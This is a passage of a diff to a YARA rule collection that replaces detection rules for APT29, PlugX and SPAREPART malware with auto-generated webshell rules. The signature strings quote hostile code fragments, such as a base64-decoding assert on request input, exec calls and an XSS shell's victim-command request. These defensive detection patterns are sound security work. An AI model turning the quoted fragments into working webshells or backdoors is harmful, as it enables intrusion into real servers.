+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L8351-L8366"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "f2f8c02921f29368234bfb4d4622ad19"
+		logic_hash = "e3fdce426d2f6e88d8e9412a3026ea05d027af934763eafe0188602458c2289d"
+		score = 75
+		quality = 85
 		tags = ""
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s0 = "Java Security Plugin" fullword wide
-		$s1 = "%s\\%s\\%s.exe" fullword wide
-		$s2 = "Sun Java Security Plugin" fullword wide
-		$s3 = "\\Internet Explorer\\iexplore.exe" wide
+		$s0 = "RhViRYOzz"
+		$s1 = "d\\O!jWW"
+		$s2 = "bc!jWW"
+		$s3 = "0W[&{l"
+		$s4 = "[INhQ@\\"
 
 	condition:
 		all of them
 }
-rule SIGNATURE_BASE_MAL_Backdoor_SPAREPART_Sleepgenerator
+rule SIGNATURE_BASE_FSO_S_EFSO_2
 {
 	meta:
-		description = "Detects the algorithm used to determine the next sleep timer"
-		author = "Mandiant"
-		id = "b9cd46e4-0e06-5ead-8379-adcfc3c384d0"
-		date = "2022-12-14"
+		description = "Webshells Auto-generated - file EFSO_2.asp"
+		author = "Florian Roth (Nextron Systems)"
+		id = "e88d324c-1dee-5b07-b528-cf760e3ee7a6"
+		date = "2023-12-05"
 		modified = "2023-12-05"
-		reference = "https://www.mandiant.com/resources/blog/trojanized-windows-installers-ukrainian-government"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/mal_ru_sparepart_dec22.yar#L2-L20"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "f9cd5b145e372553dded92628db038d8"
-		logic_hash = "41a9fdb2ba7aefcaf6ef2477b598e98b9045ef17ce9bfe46f3169d0b2e0dd289"
-		score = 50
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L8367-L8379"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "a341270f9ebd01320a7490c12cb2e64c"
+		logic_hash = "462c713e5d4fb6d0db91b14bfacdca73f780559ba2dad80988c356ee1a3d369d"
+		score = 75
 		quality = 85
 		tags = ""
-		version = "1"
-		weight = "100"
-		disclaimer = "This rule is meant for hunting and is not tested to run in a production environment."
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$ = {C1 E8 06 89 [5] C1 E8 02 8B}
-		$ = {c1 e9 03 33 c1 [3] c1 e9 05 33 c1 83 e0 01}
-		$ = {8B 80 FC 00 00 00}
-		$ = {D1 E8 [4] c1 E1 0f 0b c1}
+		$s0 = ";!+/DRknD7+.\\mDrC(V+kcJznndm\\f|nzKuJb'r@!&0KUY@*Jb@#@&Xl\"dKVcJ\\CslU,),@!0KxD~mKV"
+		$s4 = "\\co!VV2CDtSJ'E*#@#@&mKx/DP14lM/nY{JC81N+6LtbL3^hUWa;M/OE-AXX\"b~/fAs!u&9|J\\grKp\"j"
 
 	condition:
 		all of them
 }
-rule SIGNATURE_BASE_MAL_Backdoor_SPAREPART_Struct : FILE
+rule SIGNATURE_BASE_Thelast_Index3
 {
 	meta:
-		description = "Detects the PDB and a struct used in SPAREPART"
-		author = "Mandiant"
-		id = "a04296d5-c146-5142-a8e8-418651f6b755"
-		date = "2022-12-14"
+		description = "Webshells Auto-generated - file index3.php"
+		author = "Florian Roth (Nextron Systems)"
+		id = "41310217-b9a7-5360-80c4-7d0a3969f848"
+		date = "2023-12-05"
 		modified = "2023-12-05"
-		reference = "https://www.mandiant.com/resources/blog/trojanized-windows-installers-ukrainian-government"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/mal_ru_sparepart_dec22.yar#L22-L39"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "f9cd5b145e372553dded92628db038d8"
-		logic_hash = "807c7404146c08995440987aef78ecde11224f7d6cad1a0d22269b2bf46a44e5"
-		score = 50
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L8380-L8391"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "cceff6dc247aaa25512bad22120a14b4"
+		logic_hash = "3700141ca2cf53f49618e2d4cab8866efccdce843921f1733b3d6260b8feea68"
+		score = 75
 		quality = 85
-		tags = "FILE"
-		disclaimer = "This rule is meant for hunting and is not tested to run in a production environment."
+		tags = ""
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$pdb = "c:\\Users\\user\\Desktop\\ImageAgent\\ImageAgent\\PreAgent\\src\\builder\\agent.pdb" ascii nocase
-		$struct = { 44 89 ac ?? ?? ?? ?? ?? 4? 8b ac ?? ?? ?? ?? ?? 4? 83 c5 28 89 84 ?? ?? ?? ?? ?? 89 8c ?? ?? ?? ?? ?? 89 54 ?? ?? 44 89 44 ?? ?? 44 89 4c ?? ?? 44 89 54 ?? ?? 44 89 5c ?? ?? 89 5c ?? ?? 89 7c ?? ?? 89 74 ?? ?? 89 6c ?? ?? 44 89 74 ?? ?? 44 89 7c ?? ?? 44 89 64 ?? ?? 8b 84 ?? ?? ?? ?? ?? 44 8b c8 8b 84 ?? ?? ?? ?? ?? 44 8b c0 4? 8d 15 ?? ?? ?? ?? 4? 8b cd ff 15 ?? ?? ?? ??  }
+		$s5 = "$err = \"<i>Your Name</i> Not Entered!</font></h2>Sorry, \\\"Your Name\\\" field is r"
 
 	condition:
-		( uint16(0)==0x5A4D) and uint32( uint32(0x3C))==0x00004550 and $pdb and $struct and filesize <20KB
+		all of them
 }
-rule SIGNATURE_BASE_Korplug_FAST : FILE
+rule SIGNATURE_BASE_Adjustcr
 {
 	meta:
-		description = "Rule to detect Korplug/PlugX FAST variant"
+		description = "Webshells Auto-generated - file adjustcr.exe"
 		author = "Florian Roth (Nextron Systems)"
-		id = "85c6c460-2902-5bfa-be58-a2b62e3b882e"
-		date = "2015-08-20"
+		id = "4b3d9409-60e8-502a-b37b-1e06d57c9b0b"
+		date = "2023-12-05"
 		modified = "2023-12-05"
 		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_korplug_fast.yar#L1-L27"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "c437465db42268332543fbf6fd6a560ca010f19e0fd56562fb83fb704824b371"
-		logic_hash = "31aeb634eecc0f93353432b0dde113bfb54810ea74b02f959447a1d42e7e9e1b"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L8392-L8406"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "17037fa684ef4c90a25ec5674dac2eb6"
+		logic_hash = "d2a86083ff5cb34a0453f812e2d316c63342e529f00099a8869fa7e0a43321ef"
 		score = 75
 		quality = 85
-		tags = "FILE"
+		tags = ""
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$x1 = "%s\\rundll32.exe \"%s\", ShadowPlay" fullword ascii
-		$a1 = "ShadowPlay" fullword ascii
-		$s1 = "%s\\rundll32.exe \"%s\"," fullword ascii
-		$s2 = "nvdisps.dll" fullword ascii
-		$s3 = "%snvdisps.dll" fullword ascii
-		$s4 = "\\winhlp32.exe" ascii
-		$s5 = "nvdisps_user.dat" fullword ascii
-		$s6 = "%snvdisps_user.dat" fullword ascii
+		$s0 = "$Info: This file is packed with the UPX executable packer $"
+		$s2 = "$License: NRV for UPX is distributed under special license $"
+		$s6 = "AdjustCR Carr"
+		$s7 = "ION\\System\\FloatingPo"
 
 	condition:
-		uint16(0)==0x5a4d and filesize <500KB and ($x1 or ($a1 and 1 of ($s*)) or 4 of ($s*))
+		all of them
 }
-rule SIGNATURE_BASE_GRIZZLY_STEPPE_Malware_1 : FILE
+rule SIGNATURE_BASE_Felikspack3___PHP_Shells_Xishell
 {
 	meta:
-		description = "Auto-generated rule - file HRDG022184_certclint.dll"
+		description = "Webshells Auto-generated - file xIShell.php"
 		author = "Florian Roth (Nextron Systems)"
-		id = "7239a5f3-9c29-57d7-be95-946d14039353"
-		date = "2016-12-29"
+		id = "32a32a9a-8d5f-5b3f-8ff4-560555f0ae1e"
+		date = "2023-12-05"
 		modified = "2023-12-05"
-		reference = "https://goo.gl/WVflzO"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_apt29_grizzly_steppe.yar#L10-L28"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "d4a06fbf875ba2dbe64abcc21fab4eea1fe1b092498a09d9a310214562c1869e"
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L8407-L8418"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "997c8437c0621b4b753a546a53a88674"
+		logic_hash = "13393bc72477ab9a4ebc16b409de8ed73e086cc41f25f34315d11401b63c2471"
 		score = 75
 		quality = 85
-		tags = "FILE"
+		tags = ""
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "9f918fb741e951a10e68ce6874b839aef5a26d60486db31e509f8dcaa13acec5"
 
 	strings:
-		$s1 = "S:\\Lidstone\\renewing\\HA\\disable\\In.pdb" fullword ascii
-		$s2 = "Repeat last find command)Replace specific text with different text" fullword wide
-		$s3 = "l\\Processor(0)\\% Processor Time" fullword wide
-		$s6 = "Self Process" fullword wide
-		$s7 = "Default Process" fullword wide
-		$s8 = "Star Polk.exe" fullword wide
+		$s3 = "if (!$nix) { $xid = implode(explode(\"\\\\\",$xid),\"\\\\\\\\\");}echo (\"<td><a href='Java"
 
 	condition:
-		( uint16(0)==0x5a4d and filesize <300KB and 4 of them )
+		all of them
 }
-rule SIGNATURE_BASE_GRIZZLY_STEPPE_Malware_2 : FILE
+rule SIGNATURE_BASE_Hytop_Apppack_2005
 {
 	meta:
-		description = "Auto-generated rule"
+		description = "Webshells Auto-generated - file 2005.asp"
 		author = "Florian Roth (Nextron Systems)"
-		id = "37cfba67-af85-5efe-9b07-9f1e5d9f9195"
-		date = "2016-12-29"
+		id = "67c86d16-a962-5502-8c39-0a6e3dc04031"
+		date = "2023-12-05"
 		modified = "2023-12-05"
-		reference = "https://goo.gl/WVflzO"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_apt29_grizzly_steppe.yar#L30-L50"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "134a76129ef2169ac60f21541ef51a223720badfad02f0822acc7fd6d49cf7e7"
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L8419-L8430"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "63d9fd24fa4d22a41fc5522fc7050f9f"
+		logic_hash = "0de4800291132efca24b40bebcc895d6873110214c8cbf8384317208e0d9db82"
 		score = 75
 		quality = 85
-		tags = "FILE"
+		tags = ""
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "9acba7e5f972cdd722541a23ff314ea81ac35d5c0c758eb708fb6e2cc4f598a0"
-		hash2 = "55058d3427ce932d8efcbe54dccf97c9a8d1e85c767814e34f4b2b6a6b305641"
 
 	strings:
-		$x1 = "GoogleCrashReport.dll" fullword ascii
-		$s1 = "CrashErrors" fullword ascii
-		$s2 = "CrashSend" fullword ascii
-		$s3 = "CrashAddData" fullword ascii
-		$s4 = "CrashCleanup" fullword ascii
-		$s5 = "CrashInit" fullword ascii
+		$s6 = "\" onclick=\"this.form.sqlStr.value='e:\\hytop.mdb"
 
 	condition:
-		( uint16(0)==0x5a4d and filesize <1000KB and $x1) or ( all of them )
+		all of them
 }
-rule SIGNATURE_BASE_PAS_TOOL_PHP_WEB_KIT_Mod : FILE
+rule SIGNATURE_BASE_Xssshell
 {
 	meta:
-		description = "Detects PAS Tool PHP Web Kit"
-		author = "US CERT - modified by Florian Roth due to performance reasons"
-		id = "6bc75e44-7784-5e48-9bbc-052d84ebee83"
-		date = "2016-12-29"
+		description = "Webshells Auto-generated - file xssshell.asp"
+		author = "Florian Roth (Nextron Systems)"
+		id = "ef89653c-5814-525a-b04e-4326a80f780c"
+		date = "2023-12-05"
 		modified = "2023-12-05"
-		reference = "https://www.us-cert.gov/security-publications/GRIZZLY-STEPPE-Russian-Malicious-Cyber-Activity"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_apt29_grizzly_steppe.yar#L52-L74"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "fab894d9609c1fca4a85457e6799d082dfd3eb9ca0564abc04a1a0dd07a7b546"
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L8431-L8442"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "8fc0ffc5e5fbe85f7706ffc45b3f79b4"
+		logic_hash = "6b0e602b523f58ec61850b4ba2e69da4fe4bf2833fb45e529785a398445db127"
 		score = 75
 		quality = 85
-		tags = "FILE"
+		tags = ""
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$php = "<?php"
-		$base64decode1 = "='base'.("
-		$strreplace = "str_replace(\"\\n\", ''"
-		$md5 = ".substr(md5(strrev("
-		$gzinflate = "gzinflate"
-		$cookie = "_COOKIE"
-		$isset = "isset"
+		$s1 = "if( !getRequest(COMMANDS_URL + \"?v=\" + VICTIM + \"&r=\" + generateID(), \"pushComma"
 
 	condition:
-		uint32(0)==0x68703f3c and $php at 0 and ( filesize >10KB and filesize <30KB) and #cookie==2 and #isset==3 and all of them
+		all of them
 }
-rule SIGNATURE_BASE_Webshell_PHP_Web_Kit_V3 : FILE
+rule SIGNATURE_BASE_Felikspack3___PHP_Shells_Usr
 {
 	meta:
-		description = "Detects PAS Tool PHP Web Kit"
+		description = "Webshells Auto-generated - file usr.php"
 		author = "Florian Roth (Nextron Systems)"
-		id = "dc5fa2c9-3e1e-594d-be4f-141e1f4915f1"
-		date = "2016-01-01"
+		id = "ab1825fe-96aa-5d97-acd6-eac43a12b237"
+		date = "2023-12-05"
 		modified = "2023-12-05"
-		reference = "https://github.com/wordfence/grizzly"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_apt29_grizzly_steppe.yar#L76-L95"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "21bf0afcd3f8de813ddfe41ef32e45806e9f9d7d3b08ae7ce65017c35e32a868"
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L8443-L8454"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "ade3357520325af50c9098dc8a21a024"
+		logic_hash = "f5fd4a4c1b531b23b09505d302dc27d7ba2eb733fcf313c04ba9085b090f7cbe"
 		score = 75
 		quality = 85
-		tags = "FILE"
+		tags = ""
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$php = "<?php $"
-		$php2 = "@assert(base64_decode($_REQUEST["
-		$s1 = "(str_replace(\"\\n\", '', '"
-		$s2 = "(strrev($" ascii
-		$s3 = "de'.'code';" ascii
+		$s0 = "<?php $id_info = array('notify' => 'off','sub' => 'aasd','s_name' => 'nurullahor"
 
 	condition:
-		(( uint32(0)==0x68703f3c and $php at 0) or $php2) and filesize >8KB and filesize <100KB and all of ($s*)
+		all of them
 }
-rule SIGNATURE_BASE_Webshell_PHP_Web_Kit_V4 : FILE
+rule SIGNATURE_BASE_FSO_S_Phpinj
 {
 	meta:
-		description = "Detects PAS Tool PHP Web Kit"
+		description = "Webshells Auto-generated - file phpinj.php"
 		author = "Florian Roth (Nextron Systems)"
-		id = "a5f915cd-b9c5-5cd3-b0a2-c15f6124737a"
-		date = "2016-01-01"
+		id = "5d84d518-0e18-517f-890b-e296ac265c50"
+		date = "2023-12-05"
 		modified = "2023-12-05"
-		reference = "https://github.com/wordfence/grizzly"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_apt29_grizzly_steppe.yar#L97-L116"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "e2eaa0abd14f4dd08815c44797df707a08df1ea4e04ae69ba67d128a0fe4eff5"
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L8455-L8466"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "dd39d17e9baca0363cc1c3664e608929"
+		logic_hash = "de4ac200f5426ec4c6fef21d5fbc37281811569a3e71a9bcb6fa51d13eb600a4"
 		score = 75
 		quality = 85
-		tags = "FILE"
+		tags = ""
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$php = "<?php $"
-		$s1 = "(StR_ReplAcE(\"\\n\",'',"
-		$s2 = ";if(PHP_VERSION<'5'){" ascii
-		$s3 = "=SuBstr_rePlACe(" ascii
+		$s4 = "echo '<a href='.$expurl.'> Click Here to Exploit </a> <br />';"
 
 	condition:
-		uint32(0)==0x68703f3c and $php at 0 and filesize >8KB and filesize <100KB and 2 of ($s*)
+		all of them
 }
-rule SIGNATURE_BASE_APT_APT29_Wellmess_Dotnet_Unique_Strings : FILE
+rule SIGNATURE_BASE_Xssshell_Db
 {
 	meta:
-		description = "Rule to detect WellMess .NET samples based on unique strings and function/variable names"
-		author = "NCSC"
-		id = "7a058ec7-f795-5226-b511-ff469a969ee6"
+		description = "Webshells Auto-generated - file db.asp"
+		author = "Florian Roth (Nextron Systems)"
+		id = "94bb2297-95a2-5442-bb16-fb079a29606e"
 		date = "2023-12-05"
 		modified = "2023-12-05"
-		reference = "https://www.ncsc.gov.uk/news/advisory-apt29-targets-covid-19-vaccine-development"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_apt29_grizzly_steppe.yar#L120-L136"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "2285a264ffab59ab5a1eb4e2b9bcab9baf26750b6c551ee3094af56a4442ac41"
-		logic_hash = "90e8480aa50e18202007bcffdc8348290ad0ac0588c924b4f75ea425a6cae32d"
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L8467-L8478"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "cb62e2ec40addd4b9930a9e270f5b318"
+		logic_hash = "3fdbaa17c12abef8576bf859065d90f4b6e80c187af734b71b26a1bd5d073e86"
 		score = 75
 		quality = 85
-		tags = "FILE"
+		tags = ""
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s1 = "HealthInterval" wide
-		$s2 = "Hello from Proxy" wide
-		$s3 = "Start bot:" wide
-		$s4 = "FromNormalToBase64" ascii
-		$s5 = "FromBase64ToNormal" ascii
-		$s6 = "WellMess" ascii
+		$s8 = "'// By Ferruh Mavituna | http://ferruh.mavituna.com"
 
 	condition:
-		uint16(0)==0x5a4d and uint16( uint16(0x3c))==0x4550 and 3 of them
+		all of them
 }
-rule SIGNATURE_BASE_APT_APT29_Sorefang_Encryption_Key_Schedule : FILE
+rule SIGNATURE_BASE_PHP_Sh
 {
 	meta:
-		description = "Rule to detect SoreFang based on the key schedule used for encryption"
-		author = "NCSC"
-		id = "8d89edc1-a9fc-5155-9dc2-8d7f952f90d1"
+		description = "Webshells Auto-generated - file sh.php"
+		author = "Florian Roth (Nextron Systems)"
+		id = "08dff4db-3b1c-5702-a8c9-efaedf83c4ff"
 		date = "2023-12-05"
 		modified = "2023-12-05"
-		reference = "https://www.ncsc.gov.uk/news/advisory-apt29-targets-covid-19-vaccine-development"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_apt29_grizzly_steppe.yar#L138-L153"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "58d8e65976b53b77645c248bfa18c3b87a6ecfb02f306fe6ba4944db96a5ede2"
-		logic_hash = "d4f7ec82e51f1063b4d61302e5ff9268dd3233bb44269fc32cb57fb9240f96e2"
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L8479-L8490"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "1e9e879d49eb0634871e9b36f99fe528"
+		logic_hash = "da0b572f116cc5c55e8d7469f222896d602d09be4761a0e2139fc8ce67ac4050"
 		score = 75
 		quality = 85
-		tags = "FILE"
+		tags = ""
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$ = { C7 05 ?? ?? ?? ?? 63 51 E1 B7 B8 ?? ?? ?? ?? 8B 48
-            FC 81 E9 47 86 C8 61 89 08 83 C0 04 3D ?? ?? ?? ??
-            7E EB 33 D2 33 C9 B8 2C 00 00 00 89 55 D4 33 F6 89
-            4D D8 33 DB 3B F8 0F 4F C7 8D 04 40 89 45 D0 83 F8
-            01 7C 4F 0F 1F 80 00 00 00 00 }
+		$s1 = "\"@$SERVER_NAME \".exec(\"pwd\")"
 
 	condition:
-		( uint16(0)==0x5A4D and uint16( uint32(0x3c))==0x4550) and any of them
+		all of them
 }
-rule SIGNATURE_BASE_APT_APT29_Sorefang_Encryption_Key_2B62 : FILE
+rule SIGNATURE_BASE_Xssshell_Default
 {
 	meta:
-		description = "Rule to detect SoreFang based on hardcoded encryption key"
-		author = "NCSC"
-		id = "9a7abad7-1cfa-52c8-9416-47cb80486714"
+		description = "Webshells Auto-generated - file default.asp"
+		author = "Florian Roth (Nextron Systems)"
+		id = "1c221572-4cb5-5806-a856-0f857dba230a"
 		date = "2023-12-05"
 		modified = "2023-12-05"
-		reference = "https://www.ncsc.gov.uk/news/advisory-apt29-targets-covid-19-vaccine-development"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_apt29_grizzly_steppe.yar#L155-L167"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "58d8e65976b53b77645c248bfa18c3b87a6ecfb02f306fe6ba4944db96a5ede2"
-		logic_hash = "39ad6de70883fbe0377379c3cab15962372793043ebbf4054efb7cee3aff9104"
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L8491-L8502"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "d156782ae5e0b3724de3227b42fcaf2f"
+		logic_hash = "6a8772a8a6399c3266abcc22a3c55eda70ec9703346398f5f1768bbd35974f8c"
 		score = 75
 		quality = 85
-		tags = "FILE"
+		tags = ""
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$ = "2b6233eb3e872ff78988f4a8f3f6a3ba"
+		$s3 = "If ProxyData <> \"\" Then ProxyData = Replace(ProxyData, DATA_SEPERATOR, \"<br />\")"
 
 	condition:
-		( uint16(0)==0x5A4D and uint16( uint32(0x3c))==0x4550) and any of them
+		all of them
 }
-rule SIGNATURE_BASE_APT_APT29_Sorefang_Directory_Enumeration_Output_Strings : FILE
+rule SIGNATURE_BASE_Editserver_2
 {
 	meta:
-		description = "Rule to detect SoreFang based on formatted string output for directory enumeration"
-		author = "NCSC"
-		id = "e24dbda1-3d43-52a7-9249-70a648f4913e"
+		description = "Webshells Auto-generated - file EditServer.exe"
+		author = "Florian Roth (Nextron Systems)"
+		id = "bd254bd9-fd23-5807-9347-2a559089b7c5"
 		date = "2023-12-05"
 		modified = "2023-12-05"
-		reference = "https://www.ncsc.gov.uk/news/advisory-apt29-targets-covid-19-vaccine-development"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_apt29_grizzly_steppe.yar#L169-L183"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "58d8e65976b53b77645c248bfa18c3b87a6ecfb02f306fe6ba4944db96a5ede2"
-		logic_hash = "8f029269f5a383737f38af04b05a16a71af5453bffe83e04ac53191eaa49d3e7"
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L8503-L8516"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "5c1f25a4d206c83cdfb006b3eb4c09ba"
+		logic_hash = "c581936928ce0f1061feb5665c743f14f12a9f875e360f40cc064f3047b23adf"
 		score = 75
 		quality = 85
-		tags = "FILE"
+		tags = ""
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$ = "----------All usres directory----------"
-		$ = "----------Desktop directory----------"
-		$ = "----------Documents directory----------"
+		$s0 = "@HOTMAIL.COM"
+		$s1 = "Press Any Ke"
+		$s3 = "glish MenuZ"
 
 	condition:
-		( uint16(0)==0x5A4D and uint16( uint32(0x3c))==0x4550) and 2 of them
+		all of them
 }
-rule SIGNATURE_BASE_APT_APT29_Sorefang_Command_Elem_Cookie_Ga_Boundary_String : FILE
+rule SIGNATURE_BASE_By064Cli
 {
 	meta:
-		description = "Rule to detect SoreFang based on scheduled task element and Cookie header/boundary strings"
-		author = "NCSC"
-		id = "3c6ffbad-9b39-5518-aa66-d76531ddb9ea"
+		description = "Webshells Auto-generated - file by064cli.exe"
+		author = "Florian Roth (Nextron Systems)"
+		id = "9ea88f0c-9275-5567-a4d9-0545de8044d1"
 		date = "2023-12-05"
 		modified = "2023-12-05"
-		reference = "https://www.ncsc.gov.uk/news/advisory-apt29-targets-covid-19-vaccine-development"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_apt29_grizzly_steppe.yar#L185-L199"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "58d8e65976b53b77645c248bfa18c3b87a6ecfb02f306fe6ba4944db96a5ede2"
-		logic_hash = "65b31a12d8abb88fbb99fcc6b2707bec90e4edc35d0cf21903213eda5cacec88"
